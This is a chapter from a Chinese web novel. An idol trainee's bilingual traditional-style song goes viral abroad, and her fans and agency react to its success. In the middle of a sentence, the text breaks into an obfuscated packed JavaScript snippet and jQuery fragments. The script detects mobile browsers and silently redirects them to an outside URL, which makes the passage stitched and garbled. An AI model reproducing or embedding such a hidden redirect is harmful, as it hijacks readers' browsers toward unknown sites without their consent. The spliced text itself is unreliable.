124. 第124章
作品:《卷王练习生爆红娱乐圈》 《东方画卷》新鲜,好听,难得的是十分带劲儿。
那个劲儿还就是独属于童司因的劲儿,感染力足够强。
在网络上热度窜的飞快,二创玩梗越来越多,热度逐渐从社交平台,转移到短视频平台。
越来越过的博主剪辑都用它背景音乐,几乎是病毒式传播,快速弥漫到网络的各个角落。
在这个疯狂转发的过程中,逐渐从内网转移到了外网上。
《东方画卷》优点并非只有带劲儿这一项,它的作曲本就很用心思,国风味道十足。
音乐无国界,纯粹的国风歌曲外网并非欣赏不来,很多时候是…理解不了。
中文太太太难了,纯中文的歌曲壁垒太重,听不懂它歌词背后的寒意,也难以体会其中的韵味。
童司因的演绎风格,一定程度上优化了这个问题。
她翻译了这首歌,并且自己唱这首歌,经过足足一个月的反复揣摩,她也懂这首歌。
虽然无法打破语言壁垒,却还是用简洁的方式,对方能理解的语言,将歌曲背后的东西传达出去。
这首由国风底色做基石,又被贴切的语言翻译出来的《东方画卷》,就像是一本简单易读的《国风说明书》。
比起纯国风的歌曲,它更容易被人理解,传唱,
也更容易被人看到和听到。
对异国文化的误解,通常来源于不了解,而这种不了解,也是源自于…没有可以互相了解的渠道。
当这些歌曲可以被传唱,能够欣赏它的人自然就出现了。
这首歌“发布”的很临时,还没有上过音乐播放渠道,网络上只有一个现场版的短视频。
郑期之的团队,压根没有做好宣传准备,国内都是仓促为之,更勿论国外。
她们几乎什么都没做,这首歌便自主自发地,在外网发酵起来!
最先发现的人甚至不在经纪人团队,而是童司因的粉丝。
童司因的粉丝属性十分繁杂,有很多压根不是追星圈的人,把她当学习博主的比比皆是。
作为掌握N门语言的外语学习博主,她粉丝群里有不少留学生也就并不新鲜了。
几个留学生在粉丝群里,径直炸开了话题。
“我去,因因的演出剪辑怎么被传到外网上了?”
“对对对,笑死了,我舍友居然在听这首歌!你能想象吗,一个金发碧眼的小姐姐,抱着手机在床上听唢呐,都给我听傻了!”
“我也看到了!我以为只是大数据宠爱我,原来真的有热度啊?!”
“是真的有热度姐妹,我身边真的有人在听这首歌,我还听到过有人唱呢,就是唱不了最后一段。”
“别闹,怎么不能唱,他们都用自己母语拼着唱,就跟咱们拿拼音唱英文歌一样,逗死我都!”
“还有个姐妹跟我说中文听着让人上瘾,笑死。”
《东方画卷》的直播剪辑里只有童司因唱的双语版本,这对国人来讲还是有些门槛的。
很多人听它却不会唱,喜欢听纯是因为最后一段“带劲儿”。
所以导致在国内传播度不低,传唱度却不高。
可在海外情况就截然相反!
这本就是对外输出文化的,目标用户群就在海外。
童司因翻译的很地道,对于母语是那双语的人,理解起来容易,学着唱也不算难。
国风乐器和英法语rap结合起来,好听,而且足够新奇。
对他们的冲击力是巨大的!
这么新鲜有意思的歌,试着听一听甚至唱一唱,岂不是很正常?
因为《东方画卷》的新奇和好听,也是因为它本土化做得出色,让它在海外深受好评。
“哦对了,我得给你们分享个特别有意思的事——我觉得因因就是个预言家!”
“啊!我知道你在说什么,我也觉得是,我鸡皮疙瘩都窜起来了!”
“真的,她连这都能提前想到,简直太绝了!”
“……?”
群里懵逼的其他人深表不满,忍不住追问道。
“你们几个说什么呢,别卖关子行不行?”
“就是因因当初在舞台上说的那段话,不知道你们还不记得。”
“哪一段?”
“就是她比赛结束后跟主持人聊天的哪一段!”
有粉丝直接就找到直播剪辑,将视频丢在了群里。
那是童司因说的一段话。
“与其生硬的输出,不如让对方主动产生好奇。”
“好奇,就会产生探索欲,就会让他们自主自发的有动力和兴趣去钻研,去主动体会中华文化。”
“看直播的时候,这段话我根本没有听懂好吧。”
“直到刚才,我舍友突然跑进我房间,赖在我床上逼着我给她解释最后一段中文的含义!”
“她说这段特别酷,她爱死了因因唱这一段的样子,她想体会那种感情,让我描绘出来给她听!”
“……”
“………………”
“…………………………”
群里的聊天戛然而止。
所有人都怔住了,片刻后,突然狂笑起来。
“哈哈哈哈哈!”
“哈哈哈哈我草!”
“哈哈哈哈哈怎么办,这可为难死了!”
那段中文歌词是——
“看我万里江山,惊涛骇浪,赏盛世春夏。”
“坐拥千峰叠翠,遍岭烟霞,享锦绣风华。”
前面的留学生疯狂吐槽。
“她如果想学着唱也就罢了,我帮她把发音拼出来,她死记硬背唱出来也不算难。”
“你们给我讲讲,我他妈该如何给她解释最后一段含义?”
“不是我不肯告诉她,这是真的说不清啊!”
“哈哈哈哈哈!”
一群人狂笑之后,诚实地给出建议。
“想知道这段话是什么含义,学中文去吧。”
“哈哈哈哈哈单单学会中文真心不够。”
“对,至少也要稍微粗通地理,历史,文学,以及诗词…才能体会到中文背后的意境。”
“哈哈哈听起来不难啊,在国内完成九年义务教育就行了是吧!”
“不行,我觉得还得来这边旅个游,亲自踏一踏东方山水,才能理解其中韵味。”
“哈哈哈别提了,我身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282255|166878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边有同学觉得我在骗他,非不信我说的话,要在网上查翻译,愣是没能翻译出这段是什么意思。”
“笑死,这根本不是能用翻译解决的问题好吧。”
童司因在演出时,就是在故意营造这个感觉。
她在前两段歌词上,翻译都尽可能本土化,让人能更好理解。
偏偏要在最后,最燃的那个结束片段,选择了用中文。
前面那两段明明能听懂,情绪也拱到那里了,但就是专门在最后一句卡住了。
想要知道这句话的含义,却偏偏不得其门而入。
让人好奇得百爪挠心!
好奇到恨不得去翻中文课本!
当这种好奇心在身边的人身上具象化之后,大家才终于理解了,童司因当初那些话的意义。
“好奇,就会产生探索欲,让他们有动力主动体会中华文化。”
这才是最好的传播途径。
粉丝群里忍不住慨叹道。
“因因格局是真的大啊!”
“她走一步想三步,我真的是佩服极了。”
“当初那段话听起来特别像只是在装逼,如果不是亲身体会,我真的难以想象,她居然想了这么多。”
粉丝群里聊得如火如荼,郑期之的团队也没闲着!
这波热度飘到了海外,不赚白不赚。
郑期之根本来不及跟童司因解释,直接用她的名字在外网多个平台上注册了社交账号。
然后将直播剪辑的正版视频,统统传到账号上去!
既然你们想听,那就来正主账号下听正版吧!
她们只是听闻粉丝传言,知道这首歌在国外传播度不错,却不知道究竟有多不错。
直到看到账号数据,才真真切切的震惊了。
童司因在海外社交平台,账号迅速涨粉十来万,播放量更是有百万之多!
十来万的粉丝看似不算多,但是这个粉丝规模,足以让社交账号初具雏形。
最重要的是,经纪公司是一丁点推广都没做啊。
他们只放了个直播切片视频,就带来了这么夸张的效果,全靠网友自来水!
郑期之带着团队众人,坐在办公室里,看着海外社交平台的数据监控,纷纷有些呆滞。
她们一直想要做海外推广,并且为此筹备了很久,无论是数据调研,还是团队准备。
只不过…那都是之前为了谢卞晨准备的。
谢卞晨打算拓展海外市场,经纪团队为之做了充足的准备,却还没来得及落地。
谁知误打误撞地,倒是给童司因率先用上了。
《东方画卷》也是如此。
这首曲目从立项到今天,不过才短短几个月,虽然旨在弘扬中华文化,但基于过去的数据来看,心意远大于实际效果。
郑期之和谢卞晨达成一致,将曲目挂在童司因名下宣传,但背后的质疑声一直都在。
质疑童司因名气不够,推广效果会大打折扣。
无论是海外推广,还是歌曲对外宣传,所有的工作原本都是围绕着谢卞晨的。
谁知谢卞晨这边还没有进展,却被童司因误打误撞,生生蹚出这么一条路来!